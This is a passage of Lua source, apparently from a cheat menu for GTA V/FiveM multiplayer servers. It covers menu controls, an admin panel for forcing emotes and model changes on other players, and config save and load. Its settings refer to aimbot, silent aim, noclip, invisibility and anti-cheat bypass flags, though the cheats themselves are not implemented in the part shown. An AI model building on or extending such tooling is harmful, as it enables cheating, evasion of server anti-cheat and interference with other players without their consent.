menu.vars.maxVisibleOptions)) end local function syncColorPickerSliders() local node = menu.vars.navigationStack[#menu.vars.navigationStack] if not node or not node.isColorPicker then return end local colorVar = node.colorVar local red = menu.vars.sliders[colorVar .. "_r"] or 255 local green = menu.vars.sliders[colorVar .. "_g"] or 255 local blue = menu.vars.sliders[colorVar .. "_b"] or 255 local alpha = menu.vars.colorPickers[colorVar] and menu.vars.colorPickers[colorVar][4] or 255 menu.vars.colorPickers[colorVar] = { math.floor(red), math.floor(green), math.floor(blue), math.floor(alpha) } end local function adjustSelectedOption(direction) if not selectedOption then return false end if selectedOption.type == "selector" or selectedOption.type == "selectorToggle" then resetSliderHold() local var = selectedOption.var local choices = selectedOption.choices if type(choices) == "function" then choices = selectedOption.choices() or selectedOption.choices end if not choices or not (0 < #choices) then return true end local selectedIndex = menu.vars.selectors[var] or 1 if 0 < direction then menu.vars.selectors[var] = selectedIndex % #choices + 1 else local newIndex = selectedIndex - 1 if newIndex < 1 then newIndex = #choices end menu.vars.selectors[var] = newIndex end if selectedOption.onChangeFunc then menu.utils.safeCallByName(selectedOption.onChangeFunc, choices[menu.vars.selectors[var]]) end adjustmentHandled = true adjustmentCooldown = selectedOption.selectorAdjustCooldownMs clampSelectionAfterAdjustment() return true end if selectedOption.type == "toggle" and selectedOption.sliderVar then local var = selectedOption.sliderVar menu.vars.sliders = menu.vars.sliders or {} if menu.vars.sliders[var] == nil then menu.vars.sliders[var] = selectedOption.sliderDefault or selectedOption.sliderMin or 1.0 end local step, cooldown = getSliderAdjustment(selectedOption, direction) local value = menu.vars.sliders[var] + step * direction if 0 < direction and selectedOption.sliderMax then value = math.min(value, selectedOption.sliderMax) elseif direction < 0 and selectedOption.sliderMin then value = math.max(value, selectedOption.sliderMin) end menu.vars.sliders[var] = value if selectedOption.sliderOnChangeFunc then menu.utils.safeCallByName(selectedOption.sliderOnChangeFunc, value, var) end adjustmentHandled = true adjustmentCooldown = cooldown if cooldown <= 40 then fastSliderRepeat = true end return true end if selectedOption.type == "toggle" and selectedOption.hotkeyTarget and not selectedOption.sliderVar then resetSliderHold() local identifier = selectedOption.hotkeyTarget.identifier menu.vars.hotkeyBindSlot = menu.vars.hotkeyBindSlot or {} local slot = menu.vars.hotkeyBindSlot[identifier] or "key" menu.vars.hotkeyBindSlot[identifier] = slot == "key" and "custom" or "key" adjustmentHandled = true adjustmentCooldown = 200 return true end if 0 < direction and selectedOption.type == "toggleColorPicker" then resetSliderHold() menu.logic.openColorPickerFromOption(selectedOption) adjustmentHandled = true adjustmentCooldown = 200 return true end if selectedOption.type == "slider" or selectedOption.type == "numberSlider" then local var = selectedOption.var menu.vars.sliders = menu.vars.sliders or {} local minValue = selectedOption.min if type(minValue) == "function" then minValue = selectedOption.min() or selectedOption.min end local maxValue if 0 < direction then maxValue = selectedOption.max if type(maxValue) == "function" then maxValue = selectedOption.max() or selectedOption.max end end if menu.vars.sliders[var] == nil then menu.vars.sliders[var] = selectedOption.default or minValue or 1.0 end local step, cooldown = getSliderAdjustment(selectedOption, direction) local value = menu.vars.sliders[var] + step * direction if 0 < direction and maxValue ~= nil then value = math.min(value, maxValue) elseif direction < 0 and minValue ~= nil then value = math.max(value, minValue) end menu.vars.sliders[var] = value if selectedOption.onChangeFunc then if type(selectedOption.onChangeFunc) == "function" then menu.utils.safeCall(selectedOption.onChangeFunc, value, var) elseif type(selectedOption.onChangeFunc) == "string" then menu.utils.safeCallByName(selectedOption.onChangeFunc, value, var) end end adjustmentHandled = true adjustmentCooldown = cooldown if cooldown <= 40 then fastSliderRepeat = true end syncColorPickerSliders() return true end return false end if not leaveRepeat and Ham.isKeyPressed(ImGuiKey.RightArrow) then if menu.utils.shouldVanityMenuDeferArrowToFreecam and menu.utils.shouldVanityMenuDeferArrowToFreecam("right") then return end inputHandled = true menu.utils.playSound("NAV_LEFT_RIGHT") if adjustSelectedOption(1) then leaveRepeat = true end end if not leaveRepeat and Ham.isKeyPressed(ImGuiKey.LeftArrow) then if menu.utils.shouldVanityMenuDeferArrowToFreecam and menu.utils.shouldVanityMenuDeferArrowToFreecam("left") then return end inputHandled = true menu.utils.playSound("NAV_LEFT_RIGHT") if adjustSelectedOption(-1) then leaveRepeat = true end end if not leaveRepeat then local freecamUsesQE = false if menu.vars.freecamMenuActive then freecamUsesQE = menu.vars.selectors.freecamAdjustKeys == 1 and ( menu.vars.bools.freecamBlockQEMovement == nil or menu.vars.bools.freecamBlockQEMovement == true ) end local defaultLeftKey = menu.functions.defaultTabScrollLeftKey if defaultLeftKey then defaultLeftKey = menu.functions.defaultTabScrollLeftKey() end defaultLeftKey = defaultLeftKey or "Q" local leftKeyName = menu.vars.tabScrollLeftKey or defaultLeftKey local rightKeyName = menu.vars.tabScrollRightKey or "E" local leftKey if menu.functions.resolveMenuNavKey then leftKey = menu.functions.resolveMenuNavKey(leftKeyName) end if not leftKey then leftKey = _ENV.ImGuiKey[leftKeyName] end local rightKey if menu.functions.resolveMenuNavKey then rightKey = menu.functions.resolveMenuNavKey(rightKeyName) end if not rightKey then rightKey = _ENV.ImGuiKey[rightKeyName] end local leftUsesMovementKey = leftKeyName == "Q" or leftKeyName == "E" or leftKeyName == "A" local rightUsesMovementKey = rightKeyName == "Q" or rightKeyName == "E" or rightKeyName == "A" local azertyLeft = menu.vars.selectors.keyboardLayout == 2 and leftKeyName == "Q" and _ENV.ImGuiKey.A and _ENV.Ham.isKeyPressed(_ENV.ImGuiKey.A) local leftPressed = leftKey and _ENV.Ham.isKeyPressed(leftKey) if not leftPressed then leftPressed = azertyLeft end if leftPressed and not (freecamUsesQE and leftUsesMovementKey) then inputHandled = true menu.utils.playSound("NAV_LEFT_RIGHT") menu.logic.changeMenuTabByDirection(-1) leaveRepeat = true end if not leaveRepeat and rightKey and _ENV.Ham.isKeyPressed(rightKey) and not (freecamUsesQE and rightUsesMovementKey) then inputHandled = true menu.utils.playSound("NAV_LEFT_RIGHT") menu.logic.changeMenuTabByDirection(1) end end end if inputHandled then local delay = 180 if verticalNavigation then delay = 60 elseif toggleActivation then delay = 60 end if fastSliderRepeat then delay = 40 end if adjustmentHandled then delay = adjustmentCooldown or menu.vars.selectorAdjustDelayMs or delay end menu.vars.lastKeyPress = GetGameTimer() + delay end local node = menu.vars.navigationStack[#menu.vars.navigationStack] if node and node.title == "Online Options" and (node.tabIndex or 1) == 1 then menu.logic.syncOnlineListFocusedServerId() end end menuLogic.handleControls = handleControls end do local function buildAdminVanityList() local mainTab for _, tab in ipairs(menu.config.tabs) do if tab.name == "Main" then mainTab = tab break end end if not mainTab then return end local miscOptions for _, option in ipairs(mainTab.options) do if option.name == "Misc Options" then miscOptions = option break end end if not miscOptions or (not miscOptions.submenu and not miscOptions.tabs) then return end local options = miscOptions.submenu if not options then local function getMiscOptions() for _, tab in ipairs(miscOptions.tabs or {}) do if tab.name == "Misc" and tab.options then return tab.options end end return {} end options = getMiscOptions() end local adminOption for _, option in ipairs(options) do if option.name == "Admin" then adminOption = option break end end if not adminOption or not adminOption.tabs then return end local listTab = adminOption.tabs[1] if not listTab or not adminOption.tabs[2] then return end local vanityUsers = menu.vars.vanityMenuUsers or {} local users = {} for serverId, user in pairs(vanityUsers) do table.insert(users, { serverId = tonumber(serverId) or -1, playerName = user.playerName or user.username or "Unknown", username = user.username or "unknown", position = user.position }) end table.sort(users, function(left, right) return tostring(left.playerName).lower(tostring(left.playerName)) < tostring(right.playerName).lower(tostring(right.playerName)) end) listTab.options = {} table.insert(listTab.options, { name = "Search", type = "button", func = function() menu.ui.promptText({ title = "Vanity User Search", label = "Filter by Name", default = menu.vars.vanityUserFilter or "", maxLen = 32 }, function(value, cancelled) if cancelled then return end if value and value ~= "" then menu.vars.vanityUserFilter = string.lower(value) else menu.vars.vanityUserFilter = nil end menu.logic.buildAdminVanityList() end) end }) table.insert(listTab.options, { name = "Clear Filter", type = "button", func = function() menu.vars.vanityUserFilter = nil menu.logic.buildAdminVanityList() end, condition = function() return menu.vars.vanityUserFilter ~= nil end }) table.insert(listTab.options, { name = "Select All", type = "button", func = function() menu.vars.selectedVanityUsers = menu.vars.selectedVanityUsers or {} for _, user in ipairs(users) do menu.vars.selectedVanityUsers[user.username] = { username = user.username, serverId = user.serverId, position = user.position } end if not menu.vars.primaryVanityUser and users[1] then menu.vars.primaryVanityUser = { username = users[1].username, serverId = users[1].serverId, position = users[1].position } end menu.logic.buildAdminVanityOptions() menu.logic.buildAdminVanityAdvanced() end }) table.insert(listTab.options, { name = "Clear Selection", type = "button", func = function() menu.vars.selectedVanityUsers = {} menu.vars.primaryVanityUser = nil menu.logic.buildAdminVanityOptions() menu.logic.buildAdminVanityAdvanced() end }) table.insert(listTab.options, { name = "List", type = "separator" }) local filter = menu.vars.vanityUserFilter local restricted = menu.vars.restrictedAdminUsers if restricted then restricted = restricted[Ham.getName()] end local visibleUsers = restricted and restricted.visibleUsers local function makeUserToggle(username, serverId, position) return function() menu.vars.selectedVanityUsers = menu.vars.selectedVanityUsers or {} if menu.vars.selectedVanityUsers[username] ~= nil then menu.vars.selectedVanityUsers[username] = nil if menu.vars.primaryVanityUser and menu.vars.primaryVanityUser.username == username then menu.vars.primaryVanityUser = nil for selectedUsername in pairs(menu.vars.selectedVanityUsers) do menu.vars.primaryVanityUser = menu.vars.selectedVanityUsers[selectedUsername] break end end else menu.vars.selectedVanityUsers[username] = { username = username, serverId = serverId, position = position } menu.vars.primaryVanityUser = { username = username, serverId = serverId, position = position } end menu.logic.buildAdminVanityOptions() menu.logic.buildAdminVanityAdvanced() end end for _, user in ipairs(users) do local visible = not visibleUsers or visibleUsers[user.username] if visible and filter then visible = string.find(string.lower(user.playerName), filter, 1, true) or string.find(string.lower(user.username), filter, 1, true) end if visible then local label = string.format("%s [%d] (%s)", user.playerName, user.serverId, user.username) local starColor = menu.utils.getVanityAdminStarColor(user.username) local username = user.username local serverId = user.serverId local option = { name = label, type = "toggle", var = "__vanity_user_select_" .. tostring(serverId), func = makeUserToggle(username, serverId, user.position), condition = function() local selected = menu.vars.selectedVanityUsers ~= nil and menu.vars.selectedVanityUsers[username] ~= nil menu.vars.bools["__vanity_user_select_" .. tostring(serverId)] = selected return true end } if starColor then option.rightText = "\226\152\133" option.rightTextColor = starColor end table.insert(listTab.options, option) end end if #users == 0 then table.insert(listTab.options, { name = "No vanity users found", type = "button" }) end menu.logic.buildAdminVanityOptions() menu.logic.buildAdminVanityAdvanced() end menuLogic.buildAdminVanityList = buildAdminVanityList end do local function buildAdminVanityOptions() local mainTab for _, tab in ipairs(menu.config.tabs) do if tab.name == "Main" then mainTab = tab break end end if not mainTab then return end local miscOptions for _, option in ipairs(mainTab.options) do if option.name == "Misc Options" then miscOptions = option break end end if not miscOptions or (not miscOptions.submenu and not miscOptions.tabs) then return end local options = miscOptions.submenu if not options then local function getMiscOptions() for _, tab in ipairs(miscOptions.tabs or {}) do if tab.name == "Misc" and tab.options then return tab.options end end return {} end options = getMiscOptions() end local adminOption for _, option in ipairs(options) do if option.name == "Admin" then adminOption = option break end end if not adminOption or not adminOption.tabs then return end local optionsTab for _, tab in ipairs(adminOption.tabs) do if tab.name == "Options" then optionsTab = tab break end end if not optionsTab then return end optionsTab.options = {} local selectedUsers = menu.vars.selectedVanityUsers or {} local selectedCount = 0 for _ in pairs(selectedUsers) do selectedCount = selectedCount + 1 end if selectedCount == 0 then table.insert( optionsTab.options, { name = "Select one or more users in the Online List tab", type = "button" } ) return end menu.logic.buildAdminVanityTabFromTemplate(optionsTab, menu.config.adminSubmenuTemplate or {}) end menuLogic.buildAdminVanityOptions = buildAdminVanityOptions end do local function buildAdminVanityTabFromTemplate(tab, template) if not tab or not template then return end local username = Ham.getName() local restricted = menu.vars.restrictedAdminUsers if restricted then restricted = restricted[username] end for _, entry in ipairs(template) do local include = not entry.condition or entry.condition() if include and restricted and restricted.options then include = entry.type == "seperator" or restricted.options[entry.name] end if include then table.insert(tab.options, { name = entry.name, type = entry.type, func = entry.func, var = entry.var, runMultiple = entry.runMultiple, choices = entry.choices, description = entry.description }) end end end menuLogic.buildAdminVanityTabFromTemplate = buildAdminVanityTabFromTemplate end do local function buildAdminVanityAdvanced() local mainTab for _, tab in ipairs(menu.config.tabs) do if tab.name == "Main" then mainTab = tab break end end if not mainTab then return end local miscOptions for _, option in ipairs(mainTab.options) do if option.name == "Misc Options" then miscOptions = option break end end if not miscOptions or (not miscOptions.submenu and not miscOptions.tabs) then return end local options = miscOptions.submenu if not options then local function getMiscOptions() for _, tab in ipairs(miscOptions.tabs or {}) do if tab.name == "Misc" and tab.options then return tab.options end end return {} end options = getMiscOptions() end local adminOption for _, option in ipairs(options) do if option.name == "Admin" then adminOption = option break end end if not adminOption or not adminOption.tabs then return end local advancedTab for _, tab in ipairs(adminOption.tabs) do if tab.name == "Advanced" then advancedTab = tab break end end if not advancedTab then return end advancedTab.options = {} local selectedUsers = menu.vars.selectedVanityUsers or {} local selectedCount = 0 for _ in pairs(selectedUsers) do selectedCount = selectedCount + 1 end if selectedCount == 0 then table.insert( advancedTab.options, { name = "Select one or more users in the Online List tab", type = "button" } ) return end table.insert(advancedTab.options, { name = "Stop Animation", type = "button", func = "adminAttachOnMeRemove", description = "Remote: stop attach emotes and detach selected users" }) local emoteList = menu.functions.getVanityAttachOnMeEmoteList if emoteList then emoteList = menu.functions.getVanityAttachOnMeEmoteList() end emoteList = emoteList or {} for _, emote in ipairs(emoteList) do local function makeAction(emoteName) return function() if menu.functions.adminAttachOnMeSend then menu.functions.adminAttachOnMeSend(emoteName) end end end table.insert(advancedTab.options, { name = emote, type = "button", func = makeAction(emote), description = "Remote: attach selected users to you with " .. emote .. " emote" }) end table.insert(advancedTab.options, { name = "Change Model", type = "seperator" }) table.insert(advancedTab.options, { name = "Model Back", type = "button", func = "adminChangeModelBack", description = "Remote: restore target original model and outfit (including torso)" }) local modelList = menu.functions.getVanityChangeModelList if modelList then modelList = menu.functions.getVanityChangeModelList() end modelList = modelList or {} for _, model in ipairs(modelList) do local pedKey = model.pedKey local modelName = model.name local function makeAction(key, name) return function() if menu.functions.adminChangeModelSend then menu.functions.adminChangeModelSend(key, name) end end end table.insert(advancedTab.options, { name = modelName, type = "button", func = makeAction(pedKey, modelName), description = "Remote: change target model to " .. modelName }) end end menuLogic.buildAdminVanityAdvanced = buildAdminVanityAdvanced end menu.logic = menuLogic menu.configSystem = { version = "1.1.0", bannerThemeVersion = 5, greyBannerVersion = 1, visualDefaultsVersion = 1, vanityFriendsStoreName = "_vfriends" } do local function urlEncode(value) if not value then return "" end value = string.gsub(value, "\n", "\r\n") value = string.gsub(value, "([^%w _%%%-%.~])", function(character) return string.format("%%%02X", string.byte(character)) end) value = string.gsub(value, " ", "+") return value end menu.configSystem.urlEncode = urlEncode end do local function saveConfig() local sanitizeConfigValue, serializedConfig, bypassBools, boolIterator, boolIteratorState, boolIteratorInitial, bypassValue, rawConfigValue local function cleanSerializable(value) if type(value) == "function" then return nil end if type(value) ~= "table" then return value end local cleaned = {} for key, child in pairs(value) do if type(child) ~= "function" then cleaned[key] = cleanSerializable(child) end end return cleaned end sanitizeConfigValue = cleanSerializable serializedConfig = { version = menu.configSystem.version, bannerThemeVersion = menu.configSystem.bannerThemeVersion, greyBannerVersion = menu.configSystem.greyBannerVersion, communityBannerVersion = 4, bannerCategoryVersion = 1, visualDefaultsVersion = menu.configSystem.visualDefaultsVersion, timestamp = GetGameTimer(), bools = {}, selectors = {}, sliders = {}, colorPickers = {}, hotkeys = {}, hotkeyBinds = {}, savedOutfits = {}, savedLocations = {}, vanityFriends = {} } bypassBools = { weaponBypass = true, electronAcWeaponBypass = true } boolIterator, boolIteratorState, boolIteratorInitial = pairs(menu.vars.bools) for iterationKey1053, iterationValue1054 in boolIterator, boolIteratorState, boolIteratorInitial do bypassValue = bypassBools[iterationKey1053] if not bypassValue then rawConfigValue = iterationValue1054 bypassValue = sanitizeConfigValue(rawConfigValue) local sanitizedValue = sanitizeConfigValue(iterationValue1054) if sanitizedValue ~= nil then serializedConfig.bools[iterationKey1053] = sanitizedValue end end end local ignoredSelectors = { configSelector = true, saveConfigSelector = true, rageBotType = true } for key, value in pairs(menu.vars.selectors) do if not ignoredSelectors[key] then local sanitizedValue = sanitizeConfigValue(value) if sanitizedValue ~= nil then serializedConfig.selectors[key] = sanitizedValue end end end for key, value in pairs(menu.vars.sliders) do if key ~= "playerHealth" and key ~= "playerArmor" then local sanitizedValue = sanitizeConfigValue(value) if sanitizedValue ~= nil then serializedConfig.sliders[key] = sanitizedValue end end end if menu.vars.colorPickers then for key, value in pairs(menu.vars.colorPickers) do if value and type(value) == "table" and 3 <= #value then serializedConfig.colorPickers[key] = { value[1], value[2], value[3], value[4] or 255 } end end end local ignoredHotkeys = { MENU_TOGGLE = true } for key, value in pairs(menu.vars.hotkeys) do local identifier = value.identifier if not identifier or not ignoredHotkeys[identifier] then local sanitizedValue = sanitizeConfigValue(value) if sanitizedValue ~= nil then serializedConfig.hotkeys[key] = sanitizedValue end end end for key, value in pairs(menu.vars.hotkeyBinds) do if not ignoredHotkeys[key] then local sanitizedValue = sanitizeConfigValue(value) if sanitizedValue ~= nil then serializedConfig.hotkeyBinds[key] = sanitizedValue end end end if menu.vars.savedOutfits then for key, value in pairs(menu.vars.savedOutfits) do local sanitizedValue = sanitizeConfigValue(value) if sanitizedValue ~= nil then serializedConfig.savedOutfits[key] = sanitizedValue end end end if menu.vars.savedLocations and type(menu.vars.savedLocations) == "table" then serializedConfig.savedLocations = {} for index = 1, #menu.vars.savedLocations do serializedConfig.savedLocations[index] = sanitizeConfigValue(menu.vars.savedLocations[index]) end end if menu.vars.vanityFriends and type(menu.vars.vanityFriends) == "table" then serializedConfig.vanityFriends = {} for _, value in pairs(menu.vars.vanityFriends) do if value and value ~= "" then serializedConfig.vanityFriends[#serializedConfig.vanityFriends + 1] = tostring(value) end end end if menu.vars.customObjects and type(menu.vars.customObjects) == "table" then serializedConfig.customObjects = {} for index = 1, #menu.vars.customObjects do serializedConfig.customObjects[index] = menu.vars.customObjects[index] end end if menu.vars.customVehicles and type(menu.vars.customVehicles) == "table" then serializedConfig.customVehicles = {} for index = 1, #menu.vars.customVehicles do serializedConfig.customVehicles[index] = menu.vars.customVehicles[index] end end if menu.vars.customPeds and type(menu.vars.customPeds) == "table" then serializedConfig.customPeds = {} for index = 1, #menu.vars.customPeds do serializedConfig.customPeds[index] = menu.vars.customPeds[index] end end if menu.vars.shootVehicleCustomModels and type(menu.vars.shootVehicleCustomModels) == "table" then serializedConfig.shootVehicleCustomModels = {} for index = 1, #menu.vars.shootVehicleCustomModels do serializedConfig.shootVehicleCustomModels[index] = menu.vars.shootVehicleCustomModels[index] end end if menu.vars.silentAimGrandWeaponDamage and type(menu.vars.silentAimGrandWeaponDamage) == "table" then serializedConfig.silentAimGrandWeaponDamage = sanitizeConfigValue(menu.vars.silentAimGrandWeaponDamage) end if menu.vars.spectatorListState then serializedConfig.spectatorListPosition = { x = menu.vars.spectatorListState.x, y = menu.vars.spectatorListState.y } end if menu.vars.vanityUsersListState then serializedConfig.vanityUsersListPosition = { x = menu.vars.vanityUsersListState.x, y = menu.vars.vanityUsersListState.y } end if menu.vars.keybindListState then serializedConfig.keybindListFollowInfo = menu.vars.keybindListState.followInfoLayout ~= false serializedConfig.keybindListPosition = { x = menu.vars.keybindListState.x, y = menu.vars.keybindListState.y } end if menu.vars.infoListState then serializedConfig.infoListPosition = { x = menu.vars.infoListState.x, y = menu.vars.infoListState.y } end local tabScrollLeftKey = menu.vars.tabScrollLeftKey if not tabScrollLeftKey then tabScrollLeftKey = menu.functions.defaultTabScrollLeftKey and menu.functions.defaultTabScrollLeftKey() or "Q" end serializedConfig.tabScrollLeftKey = tabScrollLeftKey serializedConfig.tabScrollRightKey = menu.vars.tabScrollRightKey or "E" serializedConfig.menuOptionBindKey = menu.vars.menuOptionBindKey or "F11" local encodeSucceeded, encodedConfig = pcall(json.encode, serializedConfig) if not encodeSucceeded then menu.utils.notify("Failed to encode config: " .. tostring(encodedConfig), "error") return nil end return encodedConfig end pendingMenuEntry16 = saveConfig end menuFunctions.saveConfig = pendingMenuEntry16 do local function loadConfig(configInput) local configData if configInput == nil or configInput == "" then menu.utils.notify("Invalid config string", "error") return false end configData = configInput if type(configInput) == "string" then local decodeSucceeded, decodedConfig = pcall(json.decode, configInput) if not decodeSucceeded then menu.utils.notify("Failed to decode config JSON: " .. tostring(decodedConfig), "error") return false end configData = decodedConfig elseif type(configInput) ~= "table" then menu.utils.notify("Invalid config format", "error") return false end if type(configData) ~= "table" then menu.utils.notify("Invalid config format", "error") return false end if not configData.version then menu.utils.notify("Invalid config format (missing version)", "error") return false end menu.configSystem.migrateGreyBanner(configData) menu.configSystem.migrateRemovedRedBanner(configData) menu.configSystem.migrateRemovedCommunityBanner(configData) menu.configSystem.migrateBannerCategories(configData) menu.configSystem.migrateLegacyVisualDefaults(configData) if configData.bools then local ignoredBools = { safeVehicleSpawn = true, aimbotNpc = true, silentAimEspBlink = true, alwaysDrawScrollbar = true, weaponBypass = true, electronAcWeaponBypass = true } for key, value in pairs(configData.bools) do if not ignoredBools[key] then menu.vars.bools[key] = value end end end if configData.selectors then local ignoredSelectors = { configSelector = true, saveConfigSelector = true, rageBotType = true } for key, value in pairs(configData.selectors) do if not ignoredSelectors[key] and not string.match(tostring(key), "^__config_action_") then menu.vars.selectors[key] = value end end end if menu.vars.selectors then local forceRadioAnimType = tonumber(menu.vars.selectors.forceRadioAnimType) or 1 menu.vars.selectors.forceRadioAnimType = math.max(1, math.min(6, forceRadioAnimType)) end repeat if menu.vars.bools then if menu.vars.bools.noclipModeEnabled ~= nil then break end if menu.vars.bools.noclipInvisibilityEnabled then menu.vars.bools.noclipModeEnabled = true if not menu.vars.selectors then break end if menu.vars.selectors.noclipInvisibilityMode == 2 then menu.vars.selectors.noclipMode = 2 else menu.vars.selectors.noclipMode = 1 end break end if menu.vars.bools.noclipAnimationEnabled then local noclipMode = menu.vars.selectors and menu.vars.selectors.noclipAnimation or 1 if noclipMode <= 1 then menu.vars.bools.noclipModeEnabled = false break end menu.vars.bools.noclipModeEnabled = true if not menu.vars.selectors then break end menu.vars.selectors.noclipMode = noclipMode break end local noclipMode = menu.vars.selectors and menu.vars.selectors.noclipMode if noclipMode then if noclipMode == 3 and configData.version == "1.0.0" then menu.vars.bools.noclipModeEnabled = false menu.vars.selectors.noclipMode = 1 break end if noclipMode == 3 then menu.vars.bools.noclipModeEnabled = true break end if 4 <= noclipMode then menu.vars.bools.noclipModeEnabled = true menu.vars.selectors.noclipMode = noclipMode - 1 break end if noclipMode == 1 or noclipMode == 2 then menu.vars.bools.noclipModeEnabled = true else menu.vars.bools.noclipModeEnabled = false end break end if menu.vars.bools.fullInvisible and menu.vars.bools.noclip then menu.vars.bools.noclipModeEnabled = true if menu.vars.selectors then menu.vars.selectors.noclipMode = 2 end break end if menu.vars.bools.noclipInvis and menu.vars.bools.noclip then menu.vars.bools.noclipModeEnabled = true if menu.vars.selectors then menu.vars.selectors.noclipMode = 1 end break end menu.vars.bools.noclipModeEnabled = false end until true if menu.vars.selectors and menu.vars.selectors.noclipMode == nil then menu.vars.selectors.noclipMode = 1 end if menu.vars.selectors and menu.vars.selectors.noclipMode and 3 <= menu.vars.selectors.noclipMode and configData.version == "1.0.0" then menu.vars.selectors.noclipMode = menu.vars.selectors.noclipMode + 1 end repeat if menu.vars.bools then if menu.utils.isServer185169NearbyVehicleMode and menu.utils.isServer185169NearbyVehicleMode() then if not configData.bools or configData.bools.rageBotTargetDead == nil then menu.vars.bools.rageBotTargetDead = true end if menu.utils.applyGrandServerSilentAimDefaults then menu.utils.applyGrandServerSilentAimDefaults() end end if menu.vars.bools.invisibilityEnabled ~= nil then break end if menu.vars.bools.fullInvisibleWalk then menu.vars.bools.invisibilityEnabled = true if menu.vars.selectors then menu.vars.selectors.invisibilityMode = 2 end break end if menu.vars.bools.invisibility then menu.vars.bools.invisibilityEnabled = true if menu.vars.selectors then menu.vars.selectors.invisibilityMode = 1 end break end menu.vars.bools.invisibilityEnabled = false end until true if menu.vars.selectors and menu.vars.selectors.invisibilityMode == nil then menu.vars.selectors.invisibilityMode = 1 end if configData.sliders then for key, value in pairs(configData.sliders) do if key ~= "playerHealth" and key ~= "playerArmor" then menu.vars.sliders[key] = value end end end if menu.vars.sliders.playerHealth == nil then menu.vars.sliders.playerHealth = 95 end if menu.vars.sliders.playerArmor == nil then menu.vars.sliders.playerArmor = 95 end if configData.colorPickers then if not menu.vars.colorPickers then menu.vars.colorPickers = {} end for key, value in pairs(configData.colorPickers) do if value and type(value) == "table" and 3 <= #value then menu.vars.colorPickers[key] = { value[1], value[2], value[3], value[4] or 255 } end end end if configData.hotkeys then local ignoredHotkeys = { MENU_TOGGLE = true } local retainedHotkeys = {} for key, value in pairs(menu.vars.hotkeys) do if type(value) == "table" and value.identifier and ignoredHotkeys[value.identifier] then retainedHotkeys[key] = value end end menu.vars.hotkeys = retainedHotkeys for key, value in pairs(configData.hotkeys) do if type(value) == "table" and (not value.identifier or not ignoredHotkeys[value.identifier]) then local normalizedKey = key if type(normalizedKey) == "string" and tonumber(normalizedKey) then normalizedKey = tonumber(normalizedKey) end menu.vars.hotkeys[normalizedKey] = value end end if menu.logic and menu.logic.enrichSelectorToggleHotkeyAction then for key, value in pairs(menu.vars.hotkeys) do menu.vars.hotkeys[key] = menu.logic.enrichSelectorToggleHotkeyAction(value) end end menu.vars.keybindsDirty = true end if configData.hotkeyBinds then local ignoredHotkeys = { MENU_TOGGLE = true } for key, value in pairs(configData.hotkeyBinds) do if not ignoredHotkeys[key] then menu.vars.hotkeyBinds[key] = value end end end if type(configData.tabScrollLeftKey) == "string" and configData.tabScrollLeftKey ~= "" then menu.vars.tabScrollLeftKey = configData.tabScrollLeftKey end if type(configData.tabScrollRightKey) == "string" and configData.tabScrollRightKey ~= "" then menu.vars.tabScrollRightKey = configData.tabScrollRightKey end if type(configData.menuOptionBindKey) == "string" and configData.menuOptionBindKey ~= "" then menu.vars.menuOptionBindKey = configData.menuOptionBindKey end if configData.savedOutfits then menu.vars.savedOutfits = {} for key, value in pairs(configData.savedOutfits) do menu.vars.savedOutfits[key] = value end end if configData.savedLocations and type(configData.savedLocations) == "table" then menu.vars.savedLocations = {} for index = 1, #configData.savedLocations do local location = configData.savedLocations[index] if type(location) == "table" and location.name and location.x and location.y and location.z then menu.vars.savedLocations[index] = { name = tostring(location.name), x = tonumber(location.x) or 0.0, y = tonumber(location.y) or 0.0, z = tonumber(location.z) or 0.0 } end end end if configData.vanityFriends and type(configData.vanityFriends) == "table" then menu.vars.vanityFriends = {} for _, value in ipairs(configData.vanityFriends) do local normalizedName if menu.utils and menu.utils.normalizeHamUsername then normalizedName = menu.utils.normalizeHamUsername(value) end if not normalizedName then normalizedName = string.lower(string.gsub(tostring(value or ""), "^%s*(.-)%s*$", "%1")) end if normalizedName and normalizedName ~= "" then menu.vars.vanityFriends[normalizedName] = tostring(value) end end end if configData.customObjects and type(configData.customObjects) == "table" then menu.vars.customObjects = {} for index = 1, #configData.customObjects do menu.vars.customObjects[index] = configData.customObjects[index] end end if configData.customVehicles and type(configData.customVehicles) == "table" then menu.vars.customVehicles = {} for index = 1, #configData.customVehicles do menu.vars.customVehicles[index] = configData.customVehicles[index] end end if configData.customPeds and type(configData.customPeds) == "table" then menu.vars.customPeds = {} for index = 1, #configData.customPeds do menu.vars.customPeds[index] = configData.customPeds[index] end end if configData.shootVehicleCustomModels and type(configData.shootVehicleCustomModels) == "table" then menu.vars.shootVehicleCustomModels = {} for index = 1, #configData.shootVehicleCustomModels do menu.vars.shootVehicleCustomModels[index] = configData.shootVehicleCustomModels[index] end end if configData.silentAimGrandWeaponDamage and type(configData.silentAimGrandWeaponDamage) == "table" then menu.vars.silentAimGrandWeaponDamage = {} for key, value in pairs(configData.silentAimGrandWeaponDamage) do local damage = tonumber(value) if type(key) == "string" and damage then menu.vars.silentAimGrandWeaponDamage[key] = math.floor(damage) end end if menu.functions.rebuildSilentAimGrandWeaponDamageCache then menu.functions.rebuildSilentAimGrandWeaponDamageCache() end end if configData.spectatorListPosition and menu.vars.spectatorListState then if configData.spectatorListPosition.x ~= nil then menu.vars.spectatorListState.x = configData.spectatorListPosition.x end if configData.spectatorListPosition.y ~= nil then menu.vars.spectatorListState.y = configData.spectatorListPosition.y end end if configData.vanityUsersListPosition and menu.vars.vanityUsersListState then if configData.vanityUsersListPosition.x ~= nil then menu.vars.vanityUsersListState.x = configData.vanityUsersListPosition.x end if configData.vanityUsersListPosition.y ~= nil then menu.vars.vanityUsersListState.y = configData.vanityUsersListPosition.y end end if menu.vars.keybindListState then if configData.keybindListFollowInfo == false then menu.vars.keybindListState.followInfoLayout = false if configData.keybindListPosition then if configData.keybindListPosition.x ~= nil then menu.vars.keybindListState.x = configData.keybindListPosition.x end if configData.keybindListPosition.y ~= nil then menu.vars.keybindListState.y = configData.keybindListPosition.y end end else menu.vars.keybindListState.followInfoLayout = true menu.vars.keybindListState.x = nil menu.vars.keybindListState.y = nil end end if configData.infoListPosition and menu.vars.infoListState then if configData.infoListPosition.x ~= nil then menu.vars.infoListState.x = configData.infoListPosition.x end if configData.infoListPosition.y ~= nil then menu.vars.infoListState.y = configData.infoListPosition.y end menu.vars.infoListState.followKeybind = false end if configData.freecamMenu then menu.vars.freecamMenu = configData.freecamMenu end if configData.textPrompt then menu.vars.textPrompt = configData.textPrompt end if configData.notifications then menu.vars.notifications = configData.notifications end menu.vars.keybindsDirty = true local previousSuppression = menu.vars.suppressConfigApplyNotifications menu.vars.suppressConfigApplyNotifications = true local applySucceeded, applyError = 